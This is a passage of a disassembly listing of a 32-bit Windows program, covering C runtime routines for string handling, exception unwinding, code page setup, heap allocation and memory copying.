sub_402550+5Fj sub ebx, 1 jnz short loc_4025E3 pop ebx pop esi loc_4025EF: ; CODE XREF: sub_402550+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4025F5: ; CODE XREF: sub_402550+C7j ; sub_402550+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_40259E loc_4025FF: ; CODE XREF: sub_402550+24j ; sub_402550+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4025F5 test dl, dl jz short loc_402649 test dh, dh jz short loc_40263F test edx, 0FF0000h jz short loc_402635 test edx, 0FF000000h jnz short loc_4025F5 mov [edi], edx jmp short loc_40264D ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_402550+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_40264D ; --------------------------------------------------------------------------- loc_40263F: ; CODE XREF: sub_402550+CFj and edx, 0FFh mov [edi], edx jmp short loc_40264D ; --------------------------------------------------------------------------- loc_402649: ; CODE XREF: sub_402550+CBj xor edx, edx mov [edi], edx loc_40264D: ; CODE XREF: sub_402550+E3j ; sub_402550+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_402663 loc_402657: ; CODE XREF: sub_402550+91j xor eax, eax loc_402659: ; CODE XREF: sub_402550+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_402659 loc_402663: ; CODE XREF: sub_402550+105j and ebx, 3 jnz loc_4025E3 loc_40266C: ; CODE XREF: sub_402550+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_402550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402680 proc near ; CODE XREF: .text:0040156Ap ; .text:0040157Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_4026B0 loc_40268C: ; CODE XREF: sub_402680+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_4026E3 test ecx, 3 jnz short loc_40268C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_4026B0: ; CODE XREF: sub_402680+Aj ; sub_402680+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4026B0 mov eax, [ecx-4] test al, al jz short loc_402701 test ah, ah jz short loc_4026F7 test eax, 0FF0000h jz short loc_4026ED test eax, 0FF000000h jz short loc_4026E3 jmp short loc_4026B0 ; --------------------------------------------------------------------------- loc_4026E3: ; CODE XREF: sub_402680+13j ; sub_402680+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_4026ED: ; CODE XREF: sub_402680+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_4026F7: ; CODE XREF: sub_402680+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402701: ; CODE XREF: sub_402680+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_402680 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40270C proc near ; CODE XREF: sub_401660+70p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_402724 push [ebp+arg_0] call sub_404E12 ; RtlUnwind loc_402724: ; DATA XREF: sub_40270C+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40270C endp ; =============== S U B R O U T I N E ======================================= sub_40272C proc near ; DATA XREF: sub_40274E+Ao ; .text:004027BFo arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40274D mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40274D: ; CODE XREF: sub_40272C+10j retn sub_40272C endp ; =============== S U B R O U T I N E ======================================= sub_40274E proc near ; CODE XREF: sub_401660+7Dp ; sub_401660+D0p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_40272C push large dword ptr fs:0 mov large fs:0, esp loc_40276B: ; CODE XREF: sub_40274E:loc_4027A6j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4027A8 cmp esi, [esp+1Ch+arg_4] jz short loc_4027A8 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4027A6 push 101h mov eax, [ebx+esi*4+8] call sub_4027E2 call dword ptr [ebx+esi*4+8] loc_4027A6: ; CODE XREF: sub_40274E+44j jmp short loc_40276B ; --------------------------------------------------------------------------- loc_4027A8: ; CODE XREF: sub_40274E+2Aj ; sub_40274E+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_40274E endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_40272C jnz short locret_4027D8 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4027D8 mov eax, 1 locret_4027D8: ; CODE XREF: .text:004027C6j ; .text:004027D1j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_407170 jmp short loc_4027EC ; =============== S U B R O U T I N E ======================================= sub_4027E2 proc near ; CODE XREF: sub_401660+8Ep ; sub_40274E+4Fp push ebx push ecx mov ebx, offset dword_407170 mov ecx, [ebp+8] loc_4027EC: ; CODE XREF: .text:004027E0j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4027E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027FA proc near ; CODE XREF: sub_401660+34p var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+8] test bl, 3 jnz short loc_402828 mov eax, large fs:18h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] cmp ebx, ecx mov [ebp+var_4], ecx jb short loc_40282F cmp ebx, [eax+4] jnb short loc_40282F loc_402828: ; CODE XREF: sub_4027FA+11j xor eax, eax jmp loc_402A1F ; --------------------------------------------------------------------------- loc_40282F: ; CODE XREF: sub_4027FA+27j ; sub_4027FA+2Cj push edi mov edi, [esi+0Ch] cmp edi, 0FFFFFFFFh jnz short loc_402840 loc_402838: ; CODE XREF: sub_4027FA+139j ; sub_4027FA+19Cj ... xor eax, eax inc eax jmp loc_402A1E ; --------------------------------------------------------------------------- loc_402840: ; CODE XREF: sub_4027FA+3Cj xor edx, edx mov [ebp+arg_0], edx mov eax, ebx loc_402847: ; CODE XREF: sub_4027FA+6Bj mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_402856 cmp ecx, edx jnb loc_40299B loc_402856: ; CODE XREF: sub_4027FA+52j cmp dword ptr [eax+4], 0 jz short loc_40285F inc [ebp+arg_0] loc_40285F: ; CODE XREF: sub_4027FA+60j inc edx add eax, 0Ch cmp edx, edi jbe short loc_402847 cmp [ebp+arg_0], 0 jz short loc_402881 mov eax, [esi-8] cmp eax, [ebp+var_4] jb loc_40299B cmp eax, esi jnb loc_40299B loc_402881: ; CODE XREF: sub_4027FA+71j mov eax, dword_407428 mov edi, ebx and edi, 0FFFFF000h xor esi, esi test eax, eax jle short loc_4028A6 loc_402894: ; CODE XREF: sub_4027FA+AAj cmp dword_407430[esi*4], edi jz loc_40299F inc esi cmp esi, eax jl short loc_402894 loc_4028A6: ; CODE XREF: sub_4027FA+98j push 1Ch lea eax, [ebp+var_20] push eax push ebx call ds:dword_4050B8 ; VirtualQuery test eax, eax jz loc_402A1B cmp [ebp+var_8], 1000000h jnz loc_402A1B test [ebp+var_C], 0CCh jz short loc_402924 mov ecx, [ebp+var_1C] cmp word ptr [ecx], 5A4Dh jnz loc_402A1B mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz loc_402A1B cmp word ptr [eax+18h], 10Bh jnz loc_402A1B sub ebx, ecx cmp word ptr [eax+6], 0 movzx ecx, word ptr [eax+14h] lea ecx, [ecx+eax+18h] jbe loc_402A1B mov eax, [ecx+0Ch] cmp ebx, eax jb short loc_402924 mov edx, [ecx+8] add edx, eax cmp ebx, edx jnb short loc_402924 test byte ptr [ecx+27h], 80h jnz short loc_40299B loc_402924: ; CODE XREF: sub_4027FA+D2j ; sub_4027FA+119j ... push 1 push offset dword_407470 call ds:dword_4050B4 ; InterlockedExchange test eax, eax jnz loc_402838 mov ecx, dword_407428 test ecx, ecx mov edx, ecx jle short loc_402958 lea eax, ds:40742Ch[ecx*4] loc_40294C: ; CODE XREF: sub_4027FA+15Cj cmp [eax], edi jz short loc_402958 dec edx sub eax, 4 test edx, edx jg short loc_40294C loc_402958: ; CODE XREF: sub_4027FA+149j ; sub_4027FA+154j test edx, edx jnz short loc_402989 push 0Fh pop ebx cmp ecx, ebx jg short loc_402965 mov ebx, ecx loc_402965: ; CODE XREF: sub_4027FA+167j xor edx, edx test ebx, ebx jl short loc_40297D loc_40296B: ; CODE XREF: sub_4027FA+181j lea eax, ds:407430h[edx*4] mov esi, [eax] inc edx cmp edx, ebx mov [eax], edi mov edi, esi jle short loc_40296B loc_40297D: ; CODE XREF: sub_4027FA+16Fj cmp ecx, 10h jge short loc_402989 inc ecx mov dword_407428, ecx loc_402989: ; CODE XREF: sub_4027FA+160j ; sub_4027FA+186j push 0 push offset dword_407470 call ds:dword_4050B4 ; InterlockedExchange jmp loc_402838 ; --------------------------------------------------------------------------- loc_40299B: ; CODE XREF: sub_4027FA+56j ; sub_4027FA+79j ... xor eax, eax jmp short loc_402A1E ; --------------------------------------------------------------------------- loc_40299F: ; CODE XREF: sub_4027FA+A1j test esi, esi jle loc_402838 mov ebx, ds:dword_4050B4 push 1 push offset dword_407470 call ebx ; InterlockedExchange test eax, eax jnz loc_402838 cmp dword_407430[esi*4], edi jz short loc_4029F5 mov eax, dword_407428 lea esi, [eax-1] test esi, esi jl short loc_4029E3 loc_4029D3: ; CODE XREF: sub_4027FA+1E3j cmp dword_407430[esi*4], edi jz short loc_4029DF dec esi jns short loc_4029D3 loc_4029DF: ; CODE XREF: sub_4027FA+1E0j test esi, esi jge short loc_4029F3 loc_4029E3: ; CODE XREF: sub_4027FA+1D7j cmp eax, 10h jge short loc_4029EE inc eax mov dword_407428, eax loc_4029EE: ; CODE XREF: sub_4027FA+1ECj lea esi, [eax-1] jmp short loc_4029F5 ; --------------------------------------------------------------------------- loc_4029F3: ; CODE XREF: sub_4027FA+1E7j jz short loc_402A0D loc_4029F5: ; CODE XREF: sub_4027FA+1CBj ; sub_4027FA+1F7j xor ecx, ecx test esi, esi jl short loc_402A0D loc_4029FB: ; CODE XREF: sub_4027FA+211j lea eax, ds:407430h[ecx*4] mov edx, [eax] inc ecx cmp ecx, esi mov [eax], edi mov edi, edx jle short loc_4029FB loc_402A0D: ; CODE XREF: sub_4027FA:loc_4029F3j ; sub_4027FA+1FFj push 0 push offset dword_407470 call ebx ; InterlockedExchange jmp loc_402838 ; --------------------------------------------------------------------------- loc_402A1B: ; CODE XREF: sub_4027FA+BBj ; sub_4027FA+C8j ... or eax, 0FFFFFFFFh loc_402A1E: ; CODE XREF: sub_4027FA+41j ; sub_4027FA+1A3j pop edi loc_402A1F: ; CODE XREF: sub_4027FA+30j pop esi pop ebx leave retn sub_4027FA endp ; =============== S U B R O U T I N E ======================================= sub_402A23 proc near ; CODE XREF: sub_402AA5+4p arg_0 = dword ptr 4 push esi push dword_407828 call sub_403F92 pop ecx mov ecx, dword_407824 mov esi, eax mov eax, dword_407828 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_402A96 mov ecx, 800h cmp esi, ecx jnb short loc_402A53 mov ecx, esi loc_402A53: ; CODE XREF: sub_402A23+2Cj add ecx, esi push ecx push eax call sub_403E30 test eax, eax pop ecx pop ecx jnz short loc_402A79 add esi, 10h push esi push dword_407828 call sub_403E30 test eax, eax pop ecx pop ecx jnz short loc_402A79 pop esi retn ; --------------------------------------------------------------------------- loc_402A79: ; CODE XREF: sub_402A23+3Dj ; sub_402A23+52j mov ecx, dword_407824 sub ecx, dword_407828 mov dword_407828, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_407824, ecx loc_402A96: ; CODE XREF: sub_402A23+23j mov eax, [esp+4+arg_0] mov [ecx], eax add dword_407824, 4 pop esi retn sub_402A23 endp ; =============== S U B R O U T I N E ======================================= sub_402AA5 proc near ; CODE XREF: sub_401761+70p arg_0 = dword ptr 4 push [esp+arg_0] call sub_402A23 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_402AA5 endp ; =============== S U B R O U T I N E ======================================= sub_402AB7 proc near ; DATA XREF: .data:00407010o push 80h call sub_402FB5 test eax, eax pop ecx mov dword_407828, eax jnz short loc_402ACF push 18h pop eax retn ; --------------------------------------------------------------------------- loc_402ACF: ; CODE XREF: sub_402AB7+12j and dword ptr [eax], 0 mov eax, dword_407828 mov dword_407824, eax xor eax, eax retn sub_402AB7 endp ; =============== S U B R O U T I N E ======================================= sub_402ADF proc near ; CODE XREF: sub_402B12+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4074E1[eax], cl jnz short loc_402B0E cmp [esp+arg_4], 0 jz short loc_402B07 mov ecx, off_407280 movzx eax, word ptr [ecx+eax*2] and eax, [esp+arg_4] jmp short loc_402B09 ; --------------------------------------------------------------------------- loc_402B07: ; CODE XREF: sub_402ADF+16j xor eax, eax loc_402B09: ; CODE XREF: sub_402ADF+26j test eax, eax jnz short loc_402B0E retn ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_402ADF+Fj ; sub_402ADF+2Cj xor eax, eax inc eax retn sub_402ADF endp ; =============== S U B R O U T I N E ======================================= sub_402B12 proc near ; CODE XREF: sub_401C1D+3Fp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_402ADF add esp, 0Ch retn sub_402B12 endp ; =============== S U B R O U T I N E ======================================= sub_402B23 proc near ; CODE XREF: sub_402D07+157p ; sub_402D07+19Cp sub eax, 3A4h jz short loc_402B4C sub eax, 4 jz short loc_402B46 sub eax, 0Dh jz short loc_402B40 dec eax jz short loc_402B3A xor eax, eax retn ; --------------------------------------------------------------------------- loc_402B3A: ; CODE XREF: sub_402B23+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_402B23+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_402B46: ; CODE XREF: sub_402B23+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_402B4C: ; CODE XREF: sub_402B23+5j mov eax, 411h retn sub_402B23 endp ; =============== S U B R O U T I N E ======================================= sub_402B52 proc near ; CODE XREF: sub_402D07:loc_402ECFp push edi push 40h xor eax, eax pop ecx mov edi, offset byte_4074E0 rep stosd stosb xor eax, eax mov dword_4075E4, eax mov dword_4074C8, eax mov dword_4074C4, eax mov edi, offset dword_4075F0 stosd stosd stosd pop edi retn sub_402B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B7B proc near ; CODE XREF: sub_402D07:loc_402ED4p var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, dword_407030 mov [ebp+var_4], eax push esi lea eax, [ebp+var_18] push eax push dword_4075E4 call ds:dword_4050C4 ; GetCPInfo cmp eax, 1 mov esi, 100h jnz loc_402CB8 xor eax, eax loc_402BAD: ; CODE XREF: sub_402B7B+3Cj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_402BAD mov al, [ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_402BFD push ebx lea edx, [ebp+var_11] push edi loc_402BCC: ; CODE XREF: sub_402B7B+7Ej movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_402BF3 sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_402BF3: ; CODE XREF: sub_402B7B+59j inc edx mov al, [edx] inc edx test al, al jnz short loc_402BCC pop edi pop ebx loc_402BFD: ; CODE XREF: sub_402B7B+4Aj push 0 push dword_4074C4 lea eax, [ebp+var_518] push dword_4075E4 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_404386 push 0 push dword_4075E4 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push dword_4074C4 call sub_403FCA push 0 push dword_4075E4 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push dword_4074C4 call sub_403FCA add esp, 5Ch xor eax, eax loc_402C72: ; CODE XREF: sub_402B7B+139j mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_402C95 or byte_4074E1[eax], 10h mov cl, [ebp+eax+var_218] loc_402C8D: ; CODE XREF: sub_402B7B+12Dj mov byte_407600[eax], cl jmp short loc_402CB1 ; --------------------------------------------------------------------------- loc_402C95: ; CODE XREF: sub_402B7B+102j test cl, 2 jz short loc_402CAA or byte_4074E1[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402CAA: ; CODE XREF: sub_402B7B+11Dj mov byte_407600[eax], 0 loc_402CB1: ; CODE XREF: sub_402B7B+118j inc eax cmp eax, esi jb short loc_402C72 jmp short loc_402CFC ; --------------------------------------------------------------------------- loc_402CB8: ; CODE XREF: sub_402B7B+2Aj xor eax, eax loc_402CBA: ; CODE XREF: sub_402B7B+17Fj cmp eax, 41h jb short loc_402CD8 cmp eax, 5Ah ja short loc_402CD8 or byte_4074E1[eax], 10h mov cl, al add cl, 20h loc_402CD0: ; CODE XREF: sub_402B7B+173j mov byte_407600[eax], cl jmp short loc_402CF7 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402B7B+142j ; sub_402B7B+147j cmp eax, 61h jb short loc_402CF0 cmp eax, 7Ah ja short loc_402CF0 or byte_4074E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_402CD0 ; --------------------------------------------------------------------------- loc_402CF0: ; CODE XREF: sub_402B7B+160j ; sub_402B7B+165j mov byte_407600[eax], 0 loc_402CF7: ; CODE XREF: sub_402B7B+15Bj inc eax cmp eax, esi jb short loc_402CBA loc_402CFC: ; CODE XREF: sub_402B7B+13Bj mov ecx, [ebp+var_4] pop esi call sub_40124E leave retn sub_402B7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D07 proc near ; CODE XREF: sub_402EED+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_407030 push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, 0FFFFFFFEh mov [ebp+var_4], eax push edi mov dword_407474, ebx jnz short loc_402D3A mov dword_407474, 1 call ds:dword_4050C0 ; GetOEMCP jmp short loc_402D65 ; --------------------------------------------------------------------------- loc_402D3A: ; CODE XREF: sub_402D07+1Fj cmp esi, 0FFFFFFFDh jnz short loc_402D51 mov dword_407474, 1 call ds:dword_4050BC ; GetACP jmp short loc_402D65 ; --------------------------------------------------------------------------- loc_402D51: ; CODE XREF: sub_402D07+36j cmp esi, 0FFFFFFFCh jnz short loc_402D6A mov eax, dword_407490 mov dword_407474, 1 loc_402D65: ; CODE XREF: sub_402D07+31j ; sub_402D07+48j mov [ebp+arg_0], eax mov esi, eax loc_402D6A: ; CODE XREF: sub_402D07+4Dj cmp esi, dword_4075E4 jz loc_402ED9 cmp esi, ebx jz loc_402ECF xor edx, edx xor eax, eax loc_402D82: ; CODE XREF: sub_402D07+8Cj cmp dword_407188[eax], esi jz short loc_402DF1 add eax, 30h inc edx cmp eax, 0F0h jb short loc_402D82 lea eax, [ebp+var_18] push eax push esi call ds:dword_4050C4 ; GetCPInfo cmp eax, 1 jnz loc_402EC7 push 40h xor eax, eax pop ecx mov edi, offset byte_4074E0 rep stosd stosb xor edi, edi inc edi cmp [ebp+var_18], edi mov dword_4075E4, esi mov dword_4074C4, ebx jbe loc_402EB5 cmp [ebp+var_12], 0 jz loc_402E90 lea ecx, [ebp+var_11] loc_402DDB: ; CODE XREF: sub_402D07+183j mov dl, [ecx] test dl, dl jz loc_402E90 movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_402E80 ; --------------------------------------------------------------------------- loc_402DF1: ; CODE XREF: sub_402D07+81j push 40h xor eax, eax pop ecx mov edi, offset byte_4074E0 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_1C], ebx stosb lea ebx, dword_407198[ecx] loc_402E0D: ; CODE XREF: sub_402D07+143j mov al, [ebx] mov esi, ebx jmp short loc_402E3C ; --------------------------------------------------------------------------- loc_402E13: ; CODE XREF: sub_402D07+137j mov dl, [esi+1] test dl, dl jz short loc_402E40 movzx eax, al movzx edi, dl cmp eax, edi ja short loc_402E38 mov edx, [ebp+var_1C] mov dl, byte_407180[edx] loc_402E2D: ; CODE XREF: sub_402D07+12Fj or byte_4074E1[eax], dl inc eax cmp eax, edi jbe short loc_402E2D loc_402E38: ; CODE XREF: sub_402D07+11Bj inc esi inc esi mov al, [esi] loc_402E3C: ; CODE XREF: sub_402D07+10Aj test al, al jnz short loc_402E13 loc_402E40: ; CODE XREF: sub_402D07+111j inc [ebp+var_1C] add ebx, 8 cmp [ebp+var_1C], 4 jb short loc_402E0D mov eax, [ebp+arg_0] mov dword_4075E4, eax mov dword_4074C8, 1 call sub_402B23 lea esi, dword_40718C[ecx] mov edi, offset dword_4075F0 movsd movsd mov dword_4074C4, eax movsd jmp short loc_402ED4 ; --------------------------------------------------------------------------- loc_402E78: ; CODE XREF: sub_402D07+17Bj or byte_4074E1[eax], 4 inc eax loc_402E80: ; CODE XREF: sub_402D07+E5j cmp eax, edx jbe short loc_402E78 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_402DDB loc_402E90: ; CODE XREF: sub_402D07+CBj ; sub_402D07+D8j mov eax, edi loc_402E92: ; CODE XREF: sub_402D07+198j or byte_4074E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_402E92 mov eax, esi call sub_402B23 mov dword_4074C4, eax mov dword_4074C8, edi jmp short loc_402EBB ; --------------------------------------------------------------------------- loc_402EB5: ; CODE XREF: sub_402D07+C1j mov dword_4074C8, ebx loc_402EBB: ; CODE XREF: sub_402D07+1ACj xor eax, eax mov edi, offset dword_4075F0 stosd stosd stosd jmp short loc_402ED4 ; --------------------------------------------------------------------------- loc_402EC7: ; CODE XREF: sub_402D07+9Cj cmp dword_407474, ebx jz short loc_402EDD loc_402ECF: ; CODE XREF: sub_402D07+71j call sub_402B52 loc_402ED4: ; CODE XREF: sub_402D07+16Fj ; sub_402D07+1BEj call sub_402B7B loc_402ED9: ; CODE XREF: sub_402D07+69j xor eax, eax jmp short loc_402EE0 ; --------------------------------------------------------------------------- loc_402EDD: ; CODE XREF: sub_402D07+1C6j or eax, 0FFFFFFFFh loc_402EE0: ; CODE XREF: sub_402D07+1D4j mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_40124E leave retn sub_402D07 endp ; =============== S U B R O U T I N E ======================================= sub_402EED proc near ; CODE XREF: sub_401C1D+Cp ; sub_401C7A+Dp ... cmp dword_40782C, 0 jnz short loc_402F08 push 0FFFFFFFDh call sub_402D07 pop ecx mov dword_40782C, 1 loc_402F08: ; CODE XREF: sub_402EED+7j xor eax, eax retn sub_402EED endp ; =============== S U B R O U T I N E ======================================= sub_402F0B proc near ; CODE XREF: sub_401C7A+92p ; sub_401C7A+B7p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_402F41 cmp dword_407704, 3 push esi jnz short loc_402F33 call sub_403355 test eax, eax pop ecx push esi jz short loc_402F33 push eax call sub_403380 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_402F33: ; CODE XREF: sub_402F0B+11j ; sub_402F0B+1Cj push 0 push dword_407700 call ds:dword_4050AC ; RtlFreeHeap loc_402F41: ; CODE XREF: sub_402F0B+7j pop esi retn sub_402F0B endp ; =============== S U B R O U T I N E ======================================= sub_402F43 proc near ; CODE XREF: sub_402F89+Bp arg_0 = dword ptr 4 cmp dword_407704, 3 push esi mov esi, [esp+4+arg_0] jnz short loc_402F64 cmp esi, dword_4074B4 ja short loc_402F64 push esi call sub_403B34 test eax, eax pop ecx jnz short loc_402F87 loc_402F64: ; CODE XREF: sub_402F43+Cj ; sub_402F43+14j test esi, esi jnz short loc_402F69 inc esi loc_402F69: ; CODE XREF: sub_402F43+23j cmp dword_407704, 1 jz short loc_402F78 add esi, 0Fh and esi, 0FFFFFFF0h loc_402F78: ; CODE XREF: sub_402F43+2Dj push esi push 0 push dword_407700 call ds:dword_4050C8 ; RtlAllocateHeap loc_402F87: ; CODE XREF: sub_402F43+1Fj pop esi retn sub_402F43 endp ; =============== S U B R O U T I N E ======================================= sub_402F89 proc near ; CODE XREF: sub_402FB5+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_402FB2 loc_402F90: ; CODE XREF: sub_402F89+27j push [esp+arg_0] call sub_402F43 test eax, eax pop ecx jnz short locret_402FB4 cmp [esp+arg_4], eax jz short locret_402FB4 push [esp+arg_0] call sub_404540 test eax, eax pop ecx jnz short loc_402F90 loc_402FB2: ; CODE XREF: sub_402F89+5j xor eax, eax locret_402FB4: ; CODE XREF: sub_402F89+13j ; sub_402F89+19j retn sub_402F89 endp ; =============== S U B R O U T I N E ======================================= sub_402FB5 proc near ; CODE XREF: sub_401C7A+3Ep ; sub_401C7A+6Ep ... arg_0 = dword ptr 4 push dword_4074A4 push [esp+4+arg_0] call sub_402F89 pop ecx pop ecx retn sub_402FB5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FD0 proc near ; CODE XREF: sub_401F4F+10Ap ; sub_403E30+8Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_402FF0 cmp edi, eax jb loc_40316C loc_402FF0: ; CODE XREF: sub_402FD0+16j test edi, 3 jnz short loc_40300C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40302C rep movsd jmp ds:off_40311C[edx*4] ; --------------------------------------------------------------------------- loc_40300C: ; CODE XREF: sub_402FD0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_403024 and eax, 3 add ecx, eax jmp dword ptr ds:loc_40302C+4[eax*4] ; --------------------------------------------------------------------------- loc_403024: ; CODE XREF: sub_402FD0+46j jmp dword ptr ds:loc_40312C[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40302C: ; CODE XREF: sub_402FD0+31j ; sub_402FD0+8Ej ... jmp ds:off_4030B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_403040 dd offset loc_40306C dd offset loc_403090 ; --------------------------------------------------------------------------- loc_403040: ; DATA XREF: sub_402FD0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40302C rep movsd jmp ds:off_40311C[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40306C: ; DATA XREF: sub_402FD0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40302C rep movsd jmp ds:off_40311C[edx*4] ; --------------------------------------------------------------------------- align 10h loc_403090: ; DATA XREF: sub_402FD0+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_40302C rep movsd jmp ds:off_40311C[edx*4] ; --------------------------------------------------------------------------- align 10h off_4030B0 dd offset loc_403113 ; DATA XREF: sub_402FD0:loc_40302Cr dd offset loc_403100 dd offset loc_4030F8 dd offset loc_4030F0 dd offset loc_4030E8 dd offset loc_4030E0 dd offset loc_4030D8 dd offset loc_4030D0 ; --------------------------------------------------------------------------- loc_4030D0: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4030D8: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: 